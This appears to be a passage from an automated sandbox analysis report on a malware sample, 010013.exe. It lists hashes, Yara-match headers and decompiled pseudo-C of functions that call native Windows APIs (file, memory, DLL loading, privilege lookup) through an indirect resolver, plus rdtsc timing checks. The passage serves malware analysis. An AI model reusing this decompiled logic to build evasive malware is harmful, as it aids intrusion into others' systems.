0x004c5cc9
0x004c5ccb
0x004c5ccd
0x004c5cd3
0x004c5cd9
0x004c5cdd
0x004c5ce4
0x004c5ce6
0x004c5ce8
0x004c5cea
0x004c5ced
0x004c5cf0
0x004c5cf1
0x004c5cf3
0x004c5cf5
0x004c5cf9
0x004c5cff
0x004c5d01
0x004c5d03
0x004c5d05
0x004c5d0b
0x004c5d11
0x004c5d15
0x004c5d1c
0x004c5d1e
0x004c5d20
0x004c5d22
0x004c5d25
0x004c5d2a
0x004c5d2c
0x004c5d2e
0x004c5d30
0x004c5d33
0x004c5d38
0x004c5d3a
0x004c5d3c
0x004c5d3e
0x004c5d3e
0x004c5d41
0x004c5d47
0x004c5d49
0x004c5d4d
0x004c5d57
0x004c5d5b
0x004c5d5d
0x004c5d65
0x004c5d69
0x004c5d6f
0x004c5d71
0x004c5d73
0x004c5d75
0x004c5d7d
0x004c5d7f
0x004c5d81
0x004c5d85
0x004c5d8a

Memory Dump Source

Source File: 00000000.00000002.706249476.00000000004C2000.00000002.00020000.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.706236781.00000000004C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.706341846.0000000000556000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5dff558403af79e62ea99b3f846af5e337210117038b1380f61455f2235b32
Instruction ID: 0545627a2d5615dd8683752272d863d2cd65b83bef9bcfb32697d5642cec4f76
Opcode Fuzzy Hash: 7a5dff558403af79e62ea99b3f846af5e337210117038b1380f61455f2235b32
Instruction Fuzzy Hash: 3C52A7A140E7D14FD7178B748CB4682BFB0AE13218B0E86DBC4C5CF4E7D229695AD762

Uniqueness

Uniqueness Score: -1.00%

Function 00C7BD04, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9950c843c29e21f14aa39ca0838c26cad2447ac579194fdf7a39540326d7da63
Instruction ID: d027a2cb2662cdca80593600bf409f46a5115ff75274ed37f633be31c1f83667
Opcode Fuzzy Hash: 9950c843c29e21f14aa39ca0838c26cad2447ac579194fdf7a39540326d7da63
Instruction Fuzzy Hash: 7EA16A32E006198FCF15DFB5C8449DEBBB2FF85300F15C56AE91AAB261EB31A915CB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 010013.exe PID: 2128 Parent PID: 1568 010013.exeCOMMON

Executed Functions

Function 00419E00, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419E00(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E0041A950(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x414d32
				_t12 =  &_a8; // 0x414d32
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00419e03
0x00419e0f
0x00419e17
0x00419e22
0x00419e3d
0x00419e45
0x00419e49

APIs

NtReadFile.NTDLL(2MA,5EB6522D,FFFFFFFF,004149F1,?,?,2MA,?,004149F1,FFFFFFFF,5EB6522D,00414D32,?,00000000), ref: 00419E45

Strings

2MA, xrefs: 00419E3D, 00419E44
2MA, xrefs: 00419E22, 00419E30

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: 2MA$2MA
API String ID: 2738559852-947276439
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: e2eeafcdabc96c90d19f56ab9cfe9238ee24689222a5818d11d4b5cf4f7c0d6d
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 90F0B7B2210208AFCB14DF89DC91EEB77ADEF8C754F158649BE1D97241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419DA4, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 80
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00419DA4(void* __ecx, void* __edx, void* __eflags, HANDLE* _a4, intOrPtr _a8, HANDLE* _a12, long _a16, struct _EXCEPTION_RECORD _a20, void* _a24, struct _GUID _a28, long _a32, long _a36, long _a40, long _a44, void* _a48, long _a52) {
				intOrPtr* __esi;
				void* __ebp;
				long _t37;
				void* _t49;

				asm("popad");
				if(__eflags != 0) {
					asm("in al, dx");
					_t31 = _a8;
					_t3 = _t31 + 0xc40; // 0xc40
					E0041A950(_t49, _a8, _t3,  *((intOrPtr*)(_a8 + 0x10)), 0, 0x28);
					_t11 =  &_a24; // 0x414b77
					_t37 = NtCreateFile(_a12, _a16, _a20,  *_t11, _a28, _a32, _a36, _a40, _a44, _a48, _a52); // executed
					return _t37;
				} else {
					__ecx = __ecx - 1;
					asm("fcom dword [ecx]");
					 *((intOrPtr*)(__eax + 0x7d)) =  *((intOrPtr*)(__eax + 0x7d)) - __dl;
					__eflags = __eax;
					__ebp = __esp;
					__eax = _a4;
					__ecx =  *((intOrPtr*)(__eax + 0x10));
					__esi = __eax + 0xc44;
					__eax = _a36;
					__ecx = _a32;
					__eax = _a24;
					__ecx = _a20;
					__eax = _a12;
					__ecx = _a8;
					__eax =  *((intOrPtr*)( *__esi))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, __esi, __ebp);
					_pop(__esi);
					_pop(__ebp);
					return _a12;
				}
			}

0x00419da4
0x00419da6
0x00419d52
0x00419d53
0x00419d5f
0x00419d67
0x00419d89
0x00419d9d
0x00419da1
0x00419da8
0x00419da8
0x00419da9
0x00419dab
0x00419dae
0x00419db1
0x00419db3
0x00419db6
0x00419dbf
0x00419dcf
0x00419dd2
0x00419ddd
0x00419de1
0x00419de9
0x00419ded
0x00419df5
0x00419df7
0x00419df8
0x00419df9
0x00419df9

APIs

NtCreateFile.NTDLL(00000060,00409CC3,?,wKA,00409CC3,FFFFFFFF,?,?,FFFFFFFF,00409CC3,00414B77,?,00409CC3,00000060,00000000,00000000), ref: 00419D9D

Strings

wKA, xrefs: 00419D89, 00419D94

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID: wKA
API String ID: 823142352-3165208591
Opcode ID: a4ed81133b42b2d5c51d65da95c97fe699fe74cf285a1ee86434045881e9bae6
Instruction ID: cc7f0db98ce36f314fb6b21a14af1209144a5a97bcbc4cd35191aa4a11255971
Opcode Fuzzy Hash: a4ed81133b42b2d5c51d65da95c97fe699fe74cf285a1ee86434045881e9bae6
Instruction Fuzzy Hash: 232109B6200108AFCB08CF99DC94EEB77A9EF8C314F158649FA1DD7251C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419D50, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00419D50(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, char _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				asm("in al, dx");
				_t15 = _a4;
				_t3 = _t15 + 0xc40; // 0xc40
				E0041A950(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t11 =  &_a20; // 0x414b77
				_t21 = NtCreateFile(_a8, _a12, _a16,  *_t11, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x00419d52
0x00419d53
0x00419d5f
0x00419d67
0x00419d89
0x00419d9d
0x00419da1

APIs

NtCreateFile.NTDLL(00000060,00409CC3,?,wKA,00409CC3,FFFFFFFF,?,?,FFFFFFFF,00409CC3,00414B77,?,00409CC3,00000060,00000000,00000000), ref: 00419D9D

Strings

wKA, xrefs: 00419D89, 00419D94

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID: wKA
API String ID: 823142352-3165208591
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 0d977cd1f4fbd36c9bd444ef8f6a04c43f7f15de33bda2cf86b45a3658e1eede
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: BFF0BDB2211208AFCB08CF89DC95EEB77ADAF8C754F158248BA1D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACC0, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACC0(void* __ebx, void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t31;
				void* _t32;
				void* _t33;

				_v8 =  &_v536;
				_t15 = E0041C640( &_v12, 0x104, _a8);
				_t32 = _t31 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041CA60(__eflags, _v8);
					_t33 = _t32 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041CCE0(__ebx,  &_v12, 0);
						_t33 = _t33 + 8;
					}
					_t18 = E0041AE90(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040acdc
0x0040acdf
0x0040ace4
0x0040ace9
0x0040acf3
0x0040acf8
0x0040acfb
0x0040acfd
0x0040ad05
0x0040ad0a
0x0040ad0a
0x0040ad11
0x0040ad19
0x0040ad1c
0x0040ad1e
0x0040ad32
0x00000000
0x0040ad34
0x0040ad3a
0x0040acee
0x0040acee
0x0040acee

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD32

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: 8d9c8c5cc187846e167d7fc499b748faaade23025a89af1130ee390205ce80a6
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: C40152B5D4020DA7DB10DBE5DC42FDEB7789F14308F0041AAE908A7281F634EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 00419F30, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419F30(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E0041A950(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x00419f3f
0x00419f47
0x00419f69
0x00419f6d

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB24,?,00000000,?,00003000,00000040,00000000,00000000,00409CC3), ref: 00419F69

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: c2721ea4e084a79d388e091216dcc94a475298a8aa449db6134383b78daf1f40
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 7DF015B2210208AFCB14DF89CC81EEB77ADAF88754F118549BE1897241C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E7A, Relevance: 1.5, APIs: 1, Instructions: 23
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00419E7A(void* __ebx, void* __ecx, intOrPtr _a4, void* _a8) {
				char _v1;
				intOrPtr _v117;
				long _t10;
				void* _t17;

				_v117 = _v117 + 0x1a;
				_push( &_v1);
				_t7 = _a4;
				_t4 = _t7 + 0x10; // 0x300
				_t5 = _t7 + 0xc50; // 0x40a913
				E0041A950(_t17, _a4, _t5,  *_t4, 0, 0x2c);
				_t10 = NtClose(_a8); // executed
				return _t10;
			}

0x00419e7f
0x00419e80
0x00419e83
0x00419e86
0x00419e8f
0x00419e97
0x00419ea5
0x00419ea9

APIs

NtClose.NTDLL(00414D10,?,?,00414D10,00409CC3,FFFFFFFF), ref: 00419EA5

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 180e8b3d3396e404c8d7d6bc366b26014b25024eb48ed83fc1f735236c91c091
Instruction ID: d66f97f0512980875f5af8af6a5149d7f35e406f33b1ce0d6817d0792a1068e7
Opcode Fuzzy Hash: 180e8b3d3396e404c8d7d6bc366b26014b25024eb48ed83fc1f735236c91c091
Instruction Fuzzy Hash: 05E026712002046FCB10EFB8CC41ED77F64DF04310F18068EF94C9B242C030E5008790

Uniqueness

Uniqueness Score: -1.00%

Function 00419E80, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419E80(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x40a913
				E0041A950(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x00419e83
0x00419e86
0x00419e8f
0x00419e97
0x00419ea5
0x00419ea9

APIs

NtClose.NTDLL(00414D10,?,?,00414D10,00409CC3,FFFFFFFF), ref: 00419EA5

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: abd226b249efdbe90954a2e5a1f5a103ee35f8531edac2b51595525400ebd06d
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: FED01776200214ABD710EB99CC86EE77BACEF48760F15449ABA5C9B242C530FA5086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00409A80, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409A80(intOrPtr* _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr* _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00407E80(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00408090( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041B800( &_v284, 0x104);
						E0041BE70( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00414DB0(E00414D50(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe055
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E004080C0( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E00408140(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00409a8b
0x00409a93
0x00409a95
0x00409a9a
0x00409a9f
0x00409ab2
0x00409ab7
0x00409ac0
0x00409acc
0x00409adf
0x00409ae4
0x00409ae7
0x00409af0
0x00409b02
0x00409b07
0x00409b0c
0x00000000
0x00000000
0x00409b0e
0x00409b12
0x00000000
0x00000000
0x00409b14
0x00000000
0x00409b12
0x00409b16
0x00409b19
0x00409b1f
0x00409b21
0x00409b2c
0x00409b31
0x00409b34
0x00409b41
0x00409b4c
0x00409b4e
0x00409b54
0x00409b58
0x00409b5b
0x00409b5b
0x00409b62
0x00409b65
0x00409b6a
0x00409b77
0x00409aa6
0x00409aa6
0x00409aa6

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea422489a25dcefea3ed0f1b9a3fefea2ebcd7ffde6029fed25eb79b3bdcb825
Instruction ID: 31b1220a7bfbfd16f43a3644c83f2c17606f0388dd956b3420c92d1797c928f5
Opcode Fuzzy Hash: ea422489a25dcefea3ed0f1b9a3fefea2ebcd7ffde6029fed25eb79b3bdcb825
Instruction Fuzzy Hash: 202137B2D4020857CB25DA64AD42AEF73BCAB54304F04007FE949A7182F63CBE49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A020, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A020(intOrPtr _a4, void* _a8, long _a12, char _a16) {
				void* _t10;
				void* _t15;

				E0041A950(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t4 =  &_a16; // 0x414c6f
				_t10 = RtlAllocateHeap(_a8, _a12,  *_t4); // executed
				return _t10;
			}

0x0041a037
0x0041a03c
0x0041a04d
0x0041a051

APIs

RtlAllocateHeap.NTDLL(004144F6,?,oLA,00414C6F,?,004144F6,?,?,?,?,?,00000000,00409CC3,?), ref: 0041A04D

Strings

oLA, xrefs: 0041A03C, 0041A048

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: oLA
API String ID: 1279760036-3789366272
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 3e9cccf5f91448adbf19cee7c08a6922c38dacc77a606dc9f5f43a2a80c29887
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 4BE012B1210208ABDB14EF99CC41EA777ACAF88664F118559BA185B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 004082B5, Relevance: 1.6, APIs: 1, Instructions: 80
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E004082B5(intOrPtr* __eax, void* __ebx, void* __edx, void* __eflags) {
				long __edi;
				signed int __esi;
				void* _t27;

				if(__eflags > 0) {
					 *__eax =  *__eax + __eax;
					E0041B7D0( *((intOrPtr*)(_t27 + 0x10)), _t27 - 0x208, __eax + __eax);
					return 0;
				} else {
					__eax = __eax & 0x4d51d63f;
					__eflags = __eax;
					if(__eax < 0) {
						asm("aas");
						__eax = __ebp - 0x3f;
						_push(0);
						_push(__ebp - 0x3f);
						 *((char*)(__ebp - 0x40)) = 0;
						__eax = E0041B850();
						__ecx = __ebp - 0x40;
						__eax = E0041C3F0(__ebp - 0x40, 3);
						 *((intOrPtr*)(__ebp + 8)) =  *((intOrPtr*)(__ebp + 8)) + 0x1c;
						__eax = E0040ACC0(__ebx, __eflags,  *((intOrPtr*)(__ebp + 8)) + 0x1c, __ebp - 0x40); // executed
						__eax = E00414E10( *((intOrPtr*)(__ebp + 8)) + 0x1c, __eax, 0, 0, 0xc4e7b6d6);
						__esi = __eax;
						__eflags = __esi;
						if(__esi != 0) {
							_push(__edi);
							__edi =  *(__ebp + 0xc);
							__eax = PostThreadMessageW(__edi, 0x111, 0, 0); // executed
							__eflags = __eax;
							if(__eflags == 0) {
								__eax = E0040A450(__eflags, 1, 8);
								__eax = __al & 0x000000ff;
								__ecx = __ebp + __eax - 0x40;
								__eax =  *__esi(__edi, 0x8003, __ebp + __eax - 0x40, __eax);
							}
							_pop(__edi);
						}
						_pop(__esi);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						__esi = __eax;
						__eax = E0041B140(__ecx);
						__eax = __eax + __esi + 0x1000;
						__esi = __esi;
						return __eax;
					}
				}
			}

0x004082b7
0x0040825e
0x0040826e
0x0040827e
0x004082b9
0x004082b9
0x004082b9
0x004082be
0x004082f8
0x004082f9
0x004082fc
0x004082fe
0x004082ff
0x00408303
0x00408308
0x0040830e
0x0040831a
0x0040831e
0x0040832e
0x00408333
0x00408338
0x0040833a
0x0040833c
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x00408355
0x0040835a
0x00408360
0x0040836b
0x0040836b
0x0040836d
0x0040836d
0x0040836e
0x0040836f
0x00408371
0x00408372
0x004082c0
0x004082ce
0x004082d0
0x004082d5
0x004082dc
0x004082dd
0x004082dd
0x004082be

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: cf28a71907775c364d6c3a2997a780daafd4c52c5d7e4fc6069481409ea9e3b8
Instruction ID: b3928feaf0b8f1ba2a28a316eaeee92952d70246cf24e55b138e3b13bd391590
Opcode Fuzzy Hash: cf28a71907775c364d6c3a2997a780daafd4c52c5d7e4fc6069481409ea9e3b8
Instruction Fuzzy Hash: F1112C72A402187BE710A6659C42FEF735CEB84714F05016FFE08FB1C2EA79591542E9

Uniqueness

Uniqueness Score: -1.00%

Function 004082E8, Relevance: 1.6, APIs: 1, Instructions: 57
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E004082E8(intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				int _t13;
				void* _t16;
				long _t21;
				int _t26;
				void* _t29;
				void* _t31;
				void* _t36;

				asm("sbb eax, 0x32b16854");
				asm("int3");
				asm("sbb dl, [edx-0x7c1374ab]");
				_t29 = _t31;
				_push(0x3f);
				asm("aas");
				_push(0);
				_push( &_v67);
				_v68 = 0;
				E0041B850();
				E0041C3F0( &_v68, 3);
				_t12 = E0040ACC0(_t16, _t36, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00414E10(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t26 = _t13;
				if(_t26 != 0) {
					_t21 = _a8;
					_t13 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t38 = _t13;
					if(_t13 == 0) {
						_t13 =  *_t26(_t21, 0x8003, _t29 + (E0040A450(_t38, 1, 8) & 0x000000ff) - 0x40, _t13);
					}
				}
				return _t13;
			}

0x004082e8
0x004082ed
0x004082ee
0x004082f1
0x004082f7
0x004082f8
0x004082fc
0x004082fe
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x0040836b
0x0040836b
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 8c3a8eb8012e12a6f2e4efa61b5b52ddfe7d573f9292be76c0d685c2a0174ffa
Instruction ID: 9564ad6896b58736beb419f6ac74fadf3dead616dc5b329522021710af5c75c4
Opcode Fuzzy Hash: 8c3a8eb8012e12a6f2e4efa61b5b52ddfe7d573f9292be76c0d685c2a0174ffa
Instruction Fuzzy Hash: 6301D831A902187AE720A6A48C43FFE771CAB41F14F04411EFF04BA1C2D6A9690647E9

Uniqueness

Uniqueness Score: -1.00%

Function 004082F0, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004082F0(void* __ebx, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t22;
				intOrPtr* _t26;
				void* _t27;
				void* _t31;

				_t31 = __eflags;
				_push(0x3f);
				asm("aas");
				_push(0);
				_push( &_v67);
				_v68 = 0;
				E0041B850();
				E0041C3F0( &_v68, 3);
				_t12 = E0040ACC0(__ebx, _t31, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00414E10(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t26 = _t13;
				if(_t26 != 0) {
					_t22 = _a8;
					_t14 = PostThreadMessageW(_t22, 0x111, 0, 0); // executed
					_t33 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t26(_t22, 0x8003, _t27 + (E0040A450(_t33, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x004082f0
0x004082f7
0x004082f8
0x004082fc
0x004082fe
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x0040836b
0x0040836b
0x00000000
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 195adcb3c98d531bb162281db2f5ccaf52fb57ebc6795e714fc563aee22d5922
Instruction ID: 7ca1aeaa7978e6d3a4d0f1b4208387e2518013786dff53ee4b69e84d93d23419
Opcode Fuzzy Hash: 195adcb3c98d531bb162281db2f5ccaf52fb57ebc6795e714fc563aee22d5922
Instruction Fuzzy Hash: 7301AC31A803187BE720A6959C43FFF775C6B40F54F05411DFF04BA1C1D6A9691546FA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1B1, Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041A1B1(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				intOrPtr _v117;
				int _t15;
				void* _t24;
				void* _t26;

				asm("lahf");
				asm("popad");
				asm("int 0x21");
				asm("fist dword [edx-0x13]");
				_t26 = __esi - 1;
				ss = _v117;
				_t12 = _a4;
				_push(_t26);
				E0041A950(_t24, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_t12 + 0xa18)), 0, 0x46);
				_t15 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t15;
			}

0x0041a1b3
0x0041a1b4
0x0041a1b5
0x0041a1b9
0x0041a1bc
0x0041a1bf
0x0041a1c3
0x0041a1cc
0x0041a1da
0x0041a1f0
0x0041a1f4

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F192,0040F192,0000003C,00000000,?,00409D35), ref: 0041A1F0

Memory Dump Source

Source File: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 585ae36ca1dff0647001ab52ef304f48b66d59cf2b921223cb22773445db7f28
Instruction ID: 50c852adcc1d0a61ecad9268bc3b942b0ff9da73e5a90e4ff7ce965458a09e3e
Opcode Fuzzy Hash: 585ae36ca1dff0647001ab52ef304f48b66d59cf2b921223cb22773445db7f28
Instruction Fuzzy Hash: 93F0A0B1600114AFCB20DF99CC95FDB7769EF44750F018194F95C9B242D631E462CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A060(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
